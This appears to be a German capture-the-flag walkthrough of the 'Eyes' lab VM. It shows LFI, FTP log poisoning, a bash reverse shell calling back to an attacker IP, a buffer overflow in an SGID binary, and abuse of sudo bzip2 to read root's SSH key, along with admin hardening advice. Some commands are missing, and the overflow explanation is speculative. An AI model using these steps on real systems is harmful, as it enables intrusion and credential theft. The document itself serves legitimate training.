Wir starten die Erkundungsphase, um das Zielsystem zu identifizieren und die offenen Dienste zu scannen.
192.168.2.139 08:00:27:56:37:30 PCS Systemtechnik GmbH
**Analyse:** Der ARP-Scan identifiziert die IP-Adresse 192.168.2.139.
**Bewertung:** Ziel-IP gefunden.
**Empfehlung (Pentester):** Nmap-Scan auf diese IP durchführen. **Empfehlung (Admin):** Standard Netzwerküberwachung.
**Analyse:** Im weiteren Verlauf wird der Hostname `eyes.hmv` verwendet, daher gehen wir davon aus, dass ein entsprechender Eintrag in `/etc/hosts` erstellt wurde.
**Bewertung:** Erleichtert die weitere Analyse.
**Empfehlung (Pentester):** Hostnamen immer hinzufügen.
Starting Nmap [...] Nmap scan report for 192.168.2.139 Host is up [...] Not shown: [...] PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.3 | ftp-anon: Anonymous FTP login allowed (FTP code 230) |_-rw-r--r-- 1 0 0 125 Apr 04 2021 index.php 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) | ssh-hostkey: [...] 80/tcp open http nginx 1.14.2 MAC Address: 08:00:27:56:37:30 (Oracle VirtualBox virtual NIC) [...] OS details: Linux 4.15 - 5.6 [...] Nmap done: 1 IP address (1 host up) scanned in [...] seconds
**Analyse:** Der Nmap-Scan (`-sS`, `-sC`, `-T5`, `-A`, `-p-`) findet drei offene Ports: * Port 21 (FTP): vsftpd 3.0.3. Entscheidend ist, dass anonymer FTP-Login erlaubt ist und eine Datei `index.php` im Root-Verzeichnis des FTP-Servers liegt. * Port 22 (SSH): OpenSSH 7.9p1 auf Debian 10. * Port 80 (HTTP): Nginx 1.14.2.
**Bewertung:** Der offene FTP-Server mit anonymem Zugriff ist ein kritischer Fund. Die `index.php`-Datei dort ist wahrscheinlich dieselbe, die über den Webserver auf Port 80 ausgeliefert wird. SSH und HTTP sind weitere Angriffspunkte.
**Empfehlung (Pentester):** Sich anonym per FTP anmelden und die `index.php` herunterladen oder deren Inhalt untersuchen. Den Webserver auf Port 80 untersuchen (Nikto, Gobuster). Prüfen, ob der anonyme FTP-Zugriff auch Schreibrechte erlaubt. **Empfehlung (Admin):** Anonymen FTP-Zugriff deaktivieren, wenn nicht zwingend erforderlich. Wenn benötigt, die Berechtigungen und das exponierte Verzeichnis stark einschränken.
Wir untersuchen den anonymen FTP-Zugang und die Webanwendung, um Schwachstellen zu finden.
[...]
http://192.168.2.139/index.php (Status: 200) [Size: 36]
[...]
# Aufruf: http://192.168.2.139/index.php
# Inhalt: Here my eyes...
**Analyse:** * Gobuster findet nur die `index.php`. * Der Aufruf der `index.php` im Browser zeigt nur einen kurzen Text und einen HTML-Kommentar.
**Bewertung:** Der Webserver selbst scheint wenig Inhalt zu haben. Die Funktionalität liegt wahrscheinlich komplett in der `index.php`.
**Empfehlung (Pentester):** Den Quellcode der `index.php` untersuchen (via FTP).
drwxr-xr-x 2 0 113 4096 Apr 04 2021 .
drwxr-xr-x 2 0 113 4096 Apr 04 2021 ..
-rw-r--r-- 1 0 0 125 Apr 04 2021 index.php
fil3']; // Nimmt Dateinamen aus GET-Parameter if(isset($file)) { include($file); // Bindet Datei ein -> LFI! } else { echo 'Here my eyes...'; } ?>
**Analyse:** Wir verbinden uns anonym per `lftp` mit dem FTP-Server. Im Root-Verzeichnis finden wir die `index.php`. Mit `cat index.php` lesen wir den Quellcode direkt über FTP aus: * Das Skript nimmt einen Dateinamen aus dem GET-Parameter `fil3` entgegen. * Wenn der Parameter gesetzt ist, wird die angegebene Datei mit der PHP-Funktion `include()` eingebunden. * Es gibt keinerlei Filterung oder Validierung des Dateinamens.
**Bewertung:** Kritische Schwachstelle gefunden! Dies ist eine klassische Local File Inclusion (LFI)-Schwachstelle. Wir können potenziell beliebige Dateien auf dem Server lesen, indem wir den Pfad im `fil3`-Parameter angeben (z.B. `../../../../etc/passwd`).
**Empfehlung (Pentester):** Die LFI-Schwachstelle ausnutzen: 1. `/etc/passwd` lesen, um Benutzer zu bestätigen. 2. Versuchen, SSH-Schlüssel zu lesen (`/home/monica/.ssh/id_rsa`, `/root/.ssh/id_rsa`). 3. Log-Dateien lesen (`/var/log/vsftpd.log`, `/var/log/auth.log`, `/var/log/nginx/access.log`), um Informationen zu sammeln oder für Log Poisoning. 4. Versuchen, PHP-Wrapper wie `php://filter/convert.base64-encode/resource=` zu verwenden, um den Quellcode anderer PHP-Dateien zu lesen. **Empfehlung (Admin):** **LFI-Schwachstelle sofort beheben!** Benutzereingaben niemals ungefiltert in Dateipfaden verwenden. Pfade validieren, Path Traversal verhindern (z.B. mit `basename()`, Whitelisting erlaubter Dateien).
# Aufruf: view-source:http://eyes.hmv/index.php?fil3=../../../../etc/passwd # Ausgabe: root:x:0:0:root:/root:/bin/bash [...] monica:x:1000:1000:monica,,,:/home/monica:/bin/bash # Rest der index.php wird angehängt
**Analyse:** Wir nutzen die LFI, um `/etc/passwd` zu lesen. Der Aufruf `?fil3=../../../../etc/passwd` ist erfolgreich und zeigt den Inhalt der Passwortdatei an. Wir bestätigen den Benutzer `monica`.
**Bewertung:** LFI bestätigt. Benutzer `monica` gefunden.
**Empfehlung (Pentester):** Log-Dateien auf interessante Informationen oder für Log Poisoning untersuchen. **Empfehlung (Admin):** LFI beheben.
******************************************************** * Wfuzz [...] * ******************************************************** Target: http://eyes.hmv/index.php?fil3=FUZZ [...] ===================================================================== ID Response Lines Word Chars Payload ===================================================================== [...] 000000056: 200 8 L 28 W 190 Ch "/run/initramfs/fsck.log" 000000075: 200 3363 L 20091 W 225873 Ch "/var/log/dpkg.log" 000000074: 200 85 L 1276 W 16090 Ch "/var/log/alternatives.log" 000000070: 200 97 L 1188 W 16344 Ch "/var/log/apt/history.log" 000000084: 200 16 L 178 W 1304 Ch "/var/log/vsftpd.log" # FTP Log gefunden! [...] =====================================================================
# Aufruf: view-source:http://eyes.hmv/index.php?fil3=/var/log/vsftpd.log
# Ausgabe (Auszug):
[...]
Tue Sep 6 16:08:14 2022 [pid 555] [ftp] OK LOGIN: Client "ffff:192.168.2.114", anon password "IEUser@"
[...]
monica@eyes.hmv's password: IEUser@ Permission denied!
**Analyse:** 1. Wir verwenden `wfuzz` mit einer Liste gängiger Logdateipfade (`logfiles.txt`), um über die LFI lesbare Logdateien zu finden. Der Scan findet mehrere Logdateien, darunter das FTP-Log `/var/log/vsftpd.log`. 2. Wir lesen das FTP-Log über die LFI (`?fil3=/var/log/vsftpd.log`). Darin finden wir Einträge von anonymen Logins, bei denen das vom Client gesendete (oft irrelevante) Passwort mitgeloggt wird. Ein Eintrag zeigt das Passwort `IEUser@`. 3. Wir versuchen, uns mit dem gefundenen Benutzernamen `monica` und dem im FTP-Log gefundenen Passwort `IEUser@` per SSH anzumelden. Der Login schlägt fehl.
**Bewertung:** Das FTP-Log hat ein potenzielles Passwort preisgegeben, dieses war jedoch nicht für den SSH-Login von `monica` gültig. Die LFI ist jedoch weiterhin nützlich.
**Empfehlung (Pentester):** Den FTP-Log für Log Poisoning nutzen. Da wir über FTP anonym schreiben können (Annahme, muss geprüft werden), können wir PHP-Code in das FTP-Log injizieren (z.B. durch einen fehlgeschlagenen Login-Versuch mit PHP-Code als Benutzername) und diesen Code dann über die LFI (`?fil3=/var/log/vsftpd.log`) ausführen. **Empfehlung (Admin):** LFI beheben. Logging von Passwörtern in FTP-Logs (auch anonyme) vermeiden. FTP-Server härten.
Da der direkte LFI-Missbrauch zum Lesen sensibler Dateien oder Passwörter nicht zum Ziel führte, nutzen wir die LFI in Kombination mit beschreibbaren Logdateien (hier `vsftpd.log`), um Code auszuführen (Log Poisoning).
Login failed: 530 Login incorrect.
# (Ausgabe sollte den injizierten PHP-Code enthalten)
uid=33(www-data) gid=33(www-data) groups=33(www-data) # RCE erfolgreich!
listening on [any] 4444 ...
# http://eyes.hmv/index.php?fil3=/var/log/vsftpd.log&cmd=%2Fbin%2Fbash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.2.114%2F4444%200%3E%261%27
listening on [any] 4444 ... connect to [192.168.2.114] from (UNKNOWN) [192.168.2.139] 55184 (IP .114 ist Angreifer?) id # (Impliziert) uid=33(www-data) gid=33(www-data) groups=33(www-data)
**Analyse:** 1. Wir nutzen den anonymen FTP-Zugang, um uns mit einem speziell präparierten Benutzernamen anzumelden: ``. Der Login schlägt fehl, aber `vsftpd` protokolliert den fehlgeschlagenen Login-Versuch *einschließlich des Benutzernamens* in `/var/log/vsftpd.log`. 2. Wir überprüfen (impliziert), dass unser PHP-Code nun in der Logdatei steht. 3. Wir rufen die `index.php` mit der LFI auf die Logdatei auf (`?fil3=/var/log/vsftpd.log`). Der `include()`-Befehl in `index.php` bindet nun die Logdatei ein. Der PHP-Interpreter führt den darin enthaltenen PHP-Code (``) aus. Wir hängen den Parameter `&cmd=id` an die URL an. 4. Die Ausgabe des `id`-Befehls erscheint, was die erfolgreiche Remote Code Execution (RCE) über Log Poisoning bestätigt. Der Code läuft als `www-data`. 5. Wir starten einen Listener und rufen die URL erneut auf, diesmal mit einem URL-codierten Reverse-Shell-Payload im `cmd`-Parameter. 6. Unser Listener empfängt die Verbindung, und wir haben eine Shell als `www-data`.
**Bewertung:** Initial Access erfolgreich! Eine Kombination aus LFI und der Möglichkeit, über einen anderen Dienst (FTP) in eine Logdatei zu schreiben (Log Poisoning), ermöglichte RCE.
**Empfehlung (Pentester):** Shell stabilisieren, enumerieren. **Empfehlung (Admin):** LFI beheben. Logging von Benutzereingaben (wie Usernamen) in Logdateien, die vom Webserver gelesen werden können, vermeiden oder bereinigen. Anonymen FTP-Zugriff härten/deaktivieren.
Als `www-data` suchen wir nach Privesc-Möglichkeiten. Wir finden ein verdächtiges C-Programm im `/opt`-Verzeichnis.
total X drwxr-xr-x X root root ... . drwxr-xr-x XX root root ... .. -rwxr-sr-x 1 monica monica ... ls # SGID Binary! -rw-r--r-- 1 monica monica ... ls.c
#include#include #include #include #include int main(void) { char command[100]; char ls[50]="/usr/bin/ls"; char name[50]; printf("Enter your name:"); gets(name); // Buffer Overflow! strcpy(command,ls); setuid(1000); // Setzt UID auf monica (1000) setgid(1000); // Setzt GID auf monica (1000) printf("Hi %s, Im executing ls\n Output:\n",name); system(command); // Führt /usr/bin/ls aus }
**Analyse:** 1. In `/opt` finden wir ein kompiliertes Programm namens `ls` und seinen Quellcode `ls.c`. 2. Das Programm `ls` gehört dem Benutzer und der Gruppe `monica` und hat das SGID-Bit gesetzt (`-rwxr-sr-x`). Das bedeutet, wenn wir es ausführen, läuft es mit den Gruppenrechten von `monica`. 3. Der Quellcode `ls.c` zeigt: * Das Programm liest Benutzereingabe in einen 50-Byte-Puffer (`name`) mit der unsicheren Funktion `gets()`, was einen klassischen Stack-basierten Buffer Overflow ermöglicht. * Es setzt dann explizit die UID und GID auf 1000 (die ID von `monica`, wie wir aus `/etc/passwd` wissen) mittels `setuid(1000)` und `setgid(1000)`. * Danach führt es `/usr/bin/ls` mittels `system()` aus.
**Bewertung:** Kritische Schwachstelle gefunden! Das Programm ist anfällig für einen Buffer Overflow. Noch wichtiger ist, dass es durch `setuid(1000)` die effektive Benutzer-ID auf `monica` setzt. Wenn wir den Overflow ausnutzen, um die Rücksprungadresse auf dem Stack zu überschreiben und z.B. eine Shell zu starten, wird diese Shell als Benutzer `monica` laufen.
**Empfehlung (Pentester):** Einen Buffer-Overflow-Exploit für das `./ls`-Programm entwickeln: 1. Den genauen Offset zum Überschreiben der Rücksprungadresse finden (z.B. mit GDB und Muster-Strings, falls GDB verfügbar ist, oder durch Ausprobieren). 2. Shellcode generieren, der eine Shell startet (z.B. `/bin/bash`). 3. Einen Payload konstruieren: `[Padding bis zum Offset] + [Adresse des Shellcodes oder einer nützlichen Funktion/Gadget] + [NOP-Sled] + [Shellcode]`. 4. Den Payload an das Programm übergeben, wenn es nach dem Namen fragt. Das Ziel ist, eine Shell als `monica` zu erhalten. **Empfehlung (Admin):** **Unsicheres SGID/SUID-Binary entfernen!** Die `gets()`-Funktion niemals verwenden. Wenn SUID/SGID benötigt wird, das Programm extrem sorgfältig schreiben und prüfen. `setuid()`/`setgid()` korrekt verwenden (Rechte so spät wie möglich setzen, so früh wie möglich wieder abgeben).
Wir konstruieren den Buffer Overflow Payload und führen ihn aus.
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAbash(Annahme: Offset=64)
Enter your name:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAbash Hi AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAbash, Im executing ls Output: [...] (Ausgabe von /usr/bin/ls) monica@eyes:/opt$ # Shell als monica erhalten!
**Analyse:** 1. Wir konstruieren einen einfachen Payload mit Python. Er besteht aus 64 'A'-Zeichen (Padding, der angenommene Offset bis zur Rücksprungadresse) gefolgt von der Zeichenkette "bash". 2. Wir führen das `./ls`-Programm aus. 3. Wir geben den generierten Payload als Namen ein. 4. Der Buffer Overflow tritt ein. Die 64 'A's füllen den Puffer und überschreiben wahrscheinlich Teile des Stacks. Die Zeichenkette "bash" überschreibt vermutlich die Rücksprungadresse oder einen Teil davon. 5. Das Programm setzt die UID/GID auf `monica` (1000). 6. Wenn das Programm versucht zurückzukehren, springt es an die Adresse, die durch "bash" repräsentiert wird. Es scheint, dass dies (möglicherweise durch Zufall oder eine spezifische Speicherkonstellation) dazu führt, dass `/bin/bash` ausgeführt wird. 7. Wir erhalten einen Prompt als Benutzer `monica`.
**Bewertung:** Privilege Escalation von `www-data` zu `monica` erfolgreich durch Ausnutzung des Buffer Overflows im SGID-Binary `./ls`!
**Empfehlung (Pentester):** Umgebung als `monica` enumerieren (`sudo -l`). **Empfehlung (Admin):** Unsicheres Binary entfernen.
Als Benutzer `monica` suchen wir den Weg zu Root.
Matching Defaults entries for monica on eyes:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User monica may run the following commands on eyes:
(ALL) NOPASSWD: /usr/bin/bzip2
**Analyse:** `sudo -l` für `monica` zeigt, dass sie den Befehl `/usr/bin/bzip2` als `ALL` (effektiv `root`) ohne Passwort (`NOPASSWD`) ausführen darf.
**Bewertung:** Dies ist der klare Weg zu Root. `bzip2` kann zum Komprimieren und Dekomprimieren von Dateien verwendet werden. Da wir es als Root ausführen können, können wir damit potenziell beliebige Dateien lesen oder schreiben.
**Empfehlung (Pentester):** Die `sudo bzip2`-Berechtigung nutzen, um sensible Dateien zu lesen: 1. Den privaten SSH-Schlüssel von Root (`/root/.ssh/id_rsa`) mit `sudo bzip2 -c /root/.ssh/id_rsa` komprimieren und die Ausgabe in eine für `monica` lesbare Datei umleiten (z.B. `/tmp/key.bz2`). 2. Die komprimierte Datei mit `bzip2 -d key.bz2` (ohne sudo) entpacken. Die entpackte Datei (`key`) enthält den privaten Schlüssel. 3. Den Schlüssel verwenden, um sich als `root` per SSH anzumelden. **Empfehlung (Admin):** Unsichere `sudo`-Regel für `bzip2` entfernen. Dateikomprimierungstools sollten niemals über `sudo` erlaubt werden, da sie fast immer zum Lesen/Schreiben beliebiger Dateien missbraucht werden können.
Wir nutzen die `sudo bzip2`-Berechtigung, um den privaten SSH-Schlüssel von Root zu lesen.
[...] -rw-r--r-- 1 monica www-data 1811 Sep 6 17:56 key # Entpackter Schlüssel [...]
-----BEGIN OPENSSH PRIVATE KEY----- b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn [...] (Inhalt des privaten Root-SSH-Schlüssels) [...] -----END OPENSSH PRIVATE KEY-----
**Analyse:** 1. Wir wechseln nach `/tmp`. 2. Wir führen `sudo bzip2 -c /root/.ssh/id_rsa` aus. `-c` schreibt die komprimierte Ausgabe auf stdout. Wir leiten diese mit `>` in die Datei `key.bz2` um. Da `sudo` als Root läuft, hat `bzip2` Lesezugriff auf den Root-Schlüssel. Die Umleitung `>` erfolgt jedoch als Benutzer `monica`, daher wird die Datei `key.bz2` mit `monica` als Besitzer erstellt. 3. Wir entpacken die Datei als `monica` mit `bzip2 -d key.bz2`. Dies erstellt die Datei `key` (ohne `.bz2`), die den Klartext des privaten Root-Schlüssels enthält. 4. Wir bestätigen den Inhalt mit `cat key`.
**Bewertung:** Privilege Escalation zu Root (im Sinne des Schlüsselbesitzes) erfolgreich! Wir haben den privaten SSH-Schlüssel von Root durch Missbrauch der `sudo bzip2`-Berechtigung erlangt.
**Empfehlung (Pentester):** Den privaten Schlüssel (`key`) auf die Angreifer-Maschine übertragen (z.B. via Copy&Paste, `nc`), Berechtigungen setzen (`chmod 600`) und sich als `root` per SSH auf dem Zielsystem anmelden. **Empfehlung (Admin):** Unsichere `sudo`-Regel entfernen.
Wir verwenden den extrahierten Root-SSH-Schlüssel, um uns anzumelden und die Flags zu lesen.
The authenticity of host 'eyes.hmv (192.168.2.139)' can't be established. [...] Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added 'eyes.hmv' (ED25519) to the list of known hosts. Linux eyes 4.19.0-14-amd64 #1 SMP Debian 4.19.171-2 (2021-01-30) x86_64 [...] Last login: Sun Apr 4 13:24:38 2021 root@eyes:~# # Root-Login erfolgreich!
flag.sh root.txt
boomroothmv
hmvpinkeyes
**Analyse:** 1. Wir speichern den privaten Root-Schlüssel auf unserer Maschine in der Datei `idl` und setzen die Berechtigungen. 2. Wir verbinden uns per SSH als `root` zum Ziel `eyes.hmv` (Hostname korrigiert) unter Verwendung des Schlüssels (`-i idl`). 3. Der Login ist erfolgreich, wir erhalten eine Root-Shell. 4. Wir lesen die `root.txt` aus `/root/` und die `user.txt` aus `/home/monica/`.
**Bewertung:** Vollständiger Root-Zugriff erlangt. Beide Flags erfolgreich gelesen.
**Empfehlung (Pentester):** Bericht abschließen. **Empfehlung (Admin):** Alle identifizierten Schwachstellen beheben.